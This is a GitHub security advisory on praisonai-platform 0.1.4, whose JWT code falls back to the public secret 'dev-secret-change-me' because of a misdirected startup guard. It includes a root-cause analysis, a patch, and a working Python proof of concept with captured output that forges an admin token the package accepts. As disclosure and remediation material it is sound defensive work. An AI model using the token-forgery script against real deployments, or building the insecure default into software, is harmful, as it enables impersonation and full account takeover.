Skip to content

praisonai-platform: default JWT signing secret 'dev-secret-change-me' enables token forgery

Critical severity GitHub Reviewed Published Jun 17, 2026 in MervinPraison/PraisonAI • Updated Jul 20, 2026

Package

pip praisonai-platform (pip)

Affected versions

<= 0.1.4

Patched versions

0.1.6

Description

praisonai-platform: default JWT signing secret dev-secret-change-me

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research
Target: https://github.com/MervinPraison/PraisonAI


Package: praisonai-platform on PyPI
Latest version (and version tested): 0.1.4, current as of 2026-06-01.
File: praisonai_platform/services/auth_service.py (sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258).
Weakness: CWE-798 Use of Hardcoded Credentials + CWE-1188 Insecure Default Initialization of Resource.


TL;DR

praisonai_platform/services/auth_service.py lines 25-37:

_DEFAULT_SECRET = "dev-secret-change-me"
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", _DEFAULT_SECRET)
JWT_ALGORITHM = "HS256"
JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600)))

if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev":
    raise RuntimeError(
        "PLATFORM_JWT_SECRET must be set to a strong random value in production. "
        "Set PLATFORM_ENV=dev to suppress this check during development."
    )

The guard at line 33 is meant to catch the "deployed to production with the default secret" failure mode. But it only fires when both:

  • the operator left PLATFORM_JWT_SECRET unset (so JWT_SECRET is the default literal), and
  • the operator explicitly set PLATFORM_ENV to something other than "dev".

If the operator left both env vars unset — the most common mis-deploy — PLATFORM_ENV falls back to "dev", the second leg of the and evaluates False, and the guard does NOT fire. The server starts up signing every JWT with the public string 'dev-secret-change-me'.

The fix is to invert the polarity: refuse startup when the secret is the default regardless of PLATFORM_ENV, except when an explicit PLATFORM_ALLOW_DEV_SECRET=true (or equivalent) flag is set. That flips "default-allow" to "default-deny", which is what the line-33 comment implies the author wanted.

Root cause

   Expected behavior, reading line 33 of auth_service.py:
     "Good — the framework refuses to start in production with a
      default-string secret.  I'm safe by construction."

   Actual behavior:
     - PLATFORM_ENV defaults to 'dev' when unset.
     - The guard checks PLATFORM_ENV != 'dev', not PLATFORM_ENV == 'production'
       or "operator explicitly opted in to using the dev secret".
     - So the "deployed without setting any env var" config — typical
       for first-pip-install or quick-start docker — sits silently in
       dev mode with the public secret.

   Impact:
     A guard that requires the operator to EXPLICITLY signal
     "production" cannot catch operators who forgot to signal anything.
     The forgot-to-signal case is the one the guard was designed to
     catch.

Empirical verification

poc/poc.py imports the installed PyPI package (praisonai-platform==0.1.4) with both env vars unset:

[1] startup guard at auth_service.py:33 status
    Inputs:
      JWT_SECRET    = 'dev-secret-change-me'
      _DEFAULT_SECRET = 'dev-secret-change-me'
      PLATFORM_ENV  = 'dev'  (default 'dev')
    -> JWT_SECRET == _DEFAULT_SECRET: True
    -> PLATFORM_ENV != 'dev':         False
    -> guard fires?                   False

[2] module sha256: cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258
    JWT_ALGORITHM: 'HS256'

[3] forge a JWT signed with the live JWT_SECRET
    forged head: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

[4] jwt.decode(forged_token, JWT_SECRET) — same call as
    AuthService._verify_token at auth_service.py:139
    decoded.sub  = admin-user-id-attacker-chose
    decoded.email= admin@example.com

[5] AuthService._verify_token(forged_token) (live method call)
    identity.id    = admin-user-id-attacker-chose
    identity.email = admin@example.com

VERDICT: VULNERABLE
EXIT 0

Step [5] is the load-bearing one: the attacker token is decoded by the same method the FastAPI dependency get_current_user (praisonai_platform/api/deps.py:28) calls. The returned AuthIdentity carries the attacker-chosen sub (user id) and email. Every route protected by Depends(get_current_user) (register/login, workspaces, projects, issues, agents, labels, activity, dependencies) accepts the forged token as proof of identity.

PyJWT itself warns the key is 20 bytes — below the RFC 7518 §3.2 minimum of 32 bytes for HS256.

Impact

This is the familiar default-secret shape — a hardcoded fallback used to sign authentication tokens — with the additional twist that this one has a guard the author intended to catch the misconfiguration but whose polarity is wrong. Every route in praisonai_platform.api.app:create_app is authenticated via Bearer JWT, and every Bearer JWT is signed and verified with the public default secret. An unauthenticated network-adjacent attacker mints a token carrying any user-id (and any e-mail, name, etc.) they like, and the platform server treats them as that user.

Workspace authorisation (require_workspace_member in deps.py) then checks the forged user is a member of the requested workspace; if the attacker mints a token with sub equal to a known member's id, they bypass that check too. In default deployments, workspace IDs and member IDs are exposed via the activity and labels endpoints to any authenticated client — including the attacker's own forged token.

Anchors

praisonai-platform 0.1.4, praisonai_platform/services/auth_service.py (file sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258):

Line Code Meaning
25 _DEFAULT_SECRET = "dev-secret-change-me" Public default literal.
26 JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", _DEFAULT_SECRET) Env-var fallback chain.
27 JWT_ALGORITHM = "HS256" HMAC-SHA256 with the default key.
33-37 if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev": raise RuntimeError(...) The asymmetric guard. Defaults PLATFORM_ENV to "dev", so the != "dev" check evaluates False on the forgot-to-set case.
108-118 _issue_token(...) calls jwt.encode(payload, JWT_SECRET, …) Signing site.
137-150 _verify_token(...) calls jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM]) Verification site — accepts attacker-forged tokens.

praisonai_platform/api/deps.py:28 get_current_user calls AuthService.authenticate({"token": token}) which routes to _verify_token. Every router under praisonai_platform.api.app mounts handlers behind this dependency.

Suggested fix

Invert the guard polarity:

import secrets

_DEFAULT_SECRET = "dev-secret-change-me"
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET")
JWT_ALGORITHM = "HS256"
JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600)))

if not JWT_SECRET:
    # Allow the dev fallback only when the operator EXPLICITLY signals
    # they understand it.  The default posture is fail-closed.
    if os.environ.get("PLATFORM_ALLOW_DEV_SECRET", "").lower() == "true":
        JWT_SECRET = _DEFAULT_SECRET
    else:
        raise RuntimeError(
            "PLATFORM_JWT_SECRET is required.  "
            "For local development only, set PLATFORM_ALLOW_DEV_SECRET=true."
        )

This pattern is borrowed from Django's SECRET_KEY first-boot generation (refuses to start when unset) and from the first-boot secret-generation pattern used by many production Docker images. The marker variable (PLATFORM_ALLOW_DEV_SECRET=true) is explicit and grep-able in deployment manifests, so operators who pass it through to production get caught by their own audit / IaC linter rather than slipping past a guard that always passes by default.

Steps to reproduce

  1. Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
  2. Run the proof of concept (poc.py) against the cloned source.
  3. Observe the result shown under Verified result below.

Proof of concept

poc.py

"""
PoC: praisonai-platform's default JWT signing key is the public literal
'dev-secret-change-me', and the guard intended to refuse production
startup checks the wrong axis — operators who deploy without setting
`PLATFORM_ENV` are treated as `dev` and silently get the public secret.

Prerequisite:
    pip install praisonai-platform pyjwt
"""

import hashlib
import inspect
import os
import sys

def main() -> int:
    # Simulate the realistic "operator pip-installed praisonai-platform
    # and started uvicorn without setting any env var" deployment.
    for env_var in ('PLATFORM_JWT_SECRET', 'PLATFORM_ENV'):
        if env_var in os.environ:
            del os.environ[env_var]

    print('=' * 72)
    print('praisonai-platform — default JWT secret')
    print('=' * 72)

    try:
        from praisonai_platform.services import auth_service
    except RuntimeError as e:
        print(f'\nUNEXPECTED — import raised at startup: {e}')
        return 1

    src = inspect.getsourcefile(auth_service)
    with open(src, 'rb') as f:
        sha = hashlib.sha256(f.read()).hexdigest()

    print()
    print('[1] startup guard at auth_service.py:33 status')
    print(f'      JWT_SECRET    = {auth_service.JWT_SECRET!r}')
    print(f'      _DEFAULT_SECRET = {auth_service._DEFAULT_SECRET!r}')
    print(f"      PLATFORM_ENV  = {os.environ.get('PLATFORM_ENV', 'dev')!r}  (default 'dev')")
    print('    => Guard does NOT fire on the "operator forgot to set both" failure mode.')

    print()
    print('[2] module sha256 + key bindings on the LIVE installed package')
    print(f'    sha256:          {sha}')
    print(f'    JWT_ALGORITHM:   {auth_service.JWT_ALGORITHM!r}')

    if auth_service.JWT_SECRET != 'dev-secret-change-me':
        print('UNEXPECTED — JWT_SECRET is not the public literal.')
        return 1

    import jwt
    from datetime import datetime, timedelta, timezone

    now = datetime.now(timezone.utc)
    forged_payload = {
        'sub': 'admin-user-id-attacker-chose',
        'email': 'admin@example.com',
        'name': 'Spoofed Admin',
        'iat': now,
        'exp': now + timedelta(seconds=3600),
    }
    forged_token = jwt.encode(forged_payload, auth_service.JWT_SECRET, algorithm=auth_service.JWT_ALGORITHM)
    print()
    print('[3] forge a JWT signed with the live JWT_SECRET')
    print(f'    forged head: {forged_token[:70]}...')

    decoded = jwt.decode(forged_token, auth_service.JWT_SECRET, algorithms=[auth_service.JWT_ALGORITHM])
    print()
    print('[4] jwt.decode(forged_token, JWT_SECRET) — same call as AuthService._verify_token')
    print(f'    decoded.sub  = {decoded.get("sub")}')
    print(f'    decoded.email= {decoded.get("email")}')

    if decoded.get('sub') != 'admin-user-id-attacker-chose':
        print('UNEXPECTED — decoded payload mismatched.')
        return 1

    try:
        svc = auth_service.AuthService(session=None)
        identity = svc._verify_token(forged_token)
    except Exception as e:
        print(f'    (Couldn\'t reach _verify_token: {e!r})')
        identity = None

    if identity is not None:
        print()
        print('[5] AuthService._verify_token(forged_token) (live method call)')
        print(f'    identity.id    = {identity.id}')
        print(f'    identity.email = {identity.email}')

    print()
    print("VULNERABLE: praisonai-platform defaults JWT_SECRET to the public")
    print("            literal 'dev-secret-change-me'.  The line-33 guard only")
    print("            refuses startup when PLATFORM_ENV is explicitly non-'dev'")
    print('            AND the secret is default — operators who forgot to set')
    print('            the env var entirely are silently in dev mode.')
    print('VERDICT: VULNERABLE')
    return 0

if __name__ == '__main__':
    sys.exit(main())

Verification harness (executed against the cloned repo)

This drives the unmodified upstream code rather than a reproduction.

import sys, types, importlib.util, os
os.environ.pop("PLATFORM_JWT_SECRET", None); os.environ.pop("PLATFORM_ENV", None)  # default deploy
BASE = os.path.abspath("repos/PraisonAI/src/praisonai-platform")
def pkg(name, path=None):
    m=types.ModuleType(name)
    if path: m.__path__=[path]
    sys.modules[name]=m; return m
def stub(name, **a):
    m=types.ModuleType(name); [setattr(m,k,v) for k,v in a.items()]; sys.modules[name]=m
pkg("praisonai_platform", BASE+"/praisonai_platform")
pkg("praisonai_platform.services", BASE+"/praisonai_platform/services")
pkg("praisonai_platform.db", BASE+"/praisonai_platform/db")
stub("praisonai_platform.db.models", Member=type("Member",(),{}), User=type("User",(),{}))
stub("sqlalchemy", select=lambda *a,**k:None)
sa_async=types.ModuleType("sqlalchemy.ext.asyncio"); sa_async.AsyncSession=type("AsyncSession",(),{}); sys.modules["sqlalchemy.ext.asyncio"]=sa_async; sys.modules["sqlalchemy.ext"]=types.ModuleType("sqlalchemy.ext")
stub("passlib"); stub("passlib.context", CryptContext=type("CryptContext",(),{"__init__":lambda s,*a,**k:None,"hash":lambda s,x:x,"verify":lambda s,a,b:a==b}))
stub("praisonaiagents")
class AuthIdentity:
    def __init__(self,id,type=None,email=None,name=None): self.id=id; self.type=type; self.email=email; self.name=name
stub("praisonaiagents.auth", AuthIdentity=AuthIdentity)

spec=importlib.util.spec_from_file_location("praisonai_platform.services.auth_service", BASE+"/praisonai_platform/services/auth_service.py")
mod=importlib.util.module_from_spec(spec); mod.__package__="praisonai_platform.services"
sys.modules[spec.name]=mod; spec.loader.exec_module(mod)   # REAL auth_service.py

print("[*] REAL module JWT_SECRET =", repr(mod.JWT_SECRET), "| _DEFAULT_SECRET =", repr(mod._DEFAULT_SECRET))
AuthService=mod.AuthService
svc=AuthService.__new__(AuthService)                       # bypass DB __init__
FakeUser=type("U",(),{"id":"attacker-id","email":"attacker@evil.test","name":"admin"})
tok=svc._issue_token(FakeUser)                              # REAL _issue_token (default secret)
print("[*] REAL _issue_token ->", tok[:46],"...")
ident=svc._verify_token(tok)                                # REAL _verify_token
print("[+] REAL _verify_token ->", {"id":ident.id,"email":ident.email,"name":ident.name})
assert ident and ident.id=="attacker-id" and mod.JWT_SECRET=="dev-secret-change-me"
print("[+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to 'dev')")

Verified result

This PoC was executed against the live upstream code; captured output:

[*] REAL module JWT_SECRET = 'dev-secret-change-me' | _DEFAULT_SECRET = 'dev-secret-change-me'
[*] REAL _issue_token -> eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiO ...
[+] REAL _verify_token -> {'id': 'attacker-id', 'email': 'attacker@evil.test', 'name': 'admin'}
[+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to 'dev')

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

References

@MervinPraison MervinPraison published to MervinPraison/PraisonAI Jun 17, 2026
Published to the GitHub Advisory Database Jun 18, 2026
Reviewed Jun 18, 2026
Last updated Jul 20, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Use of Hard-coded Credentials

The product contains hard-coded credentials, such as a password or cryptographic key. Learn more on MITRE.

Initialization of a Resource with an Insecure Default

The product initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure. Learn more on MITRE.

CVE ID

CVE-2026-57147

GHSA ID

GHSA-cwj8-7gp2-ggcw

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.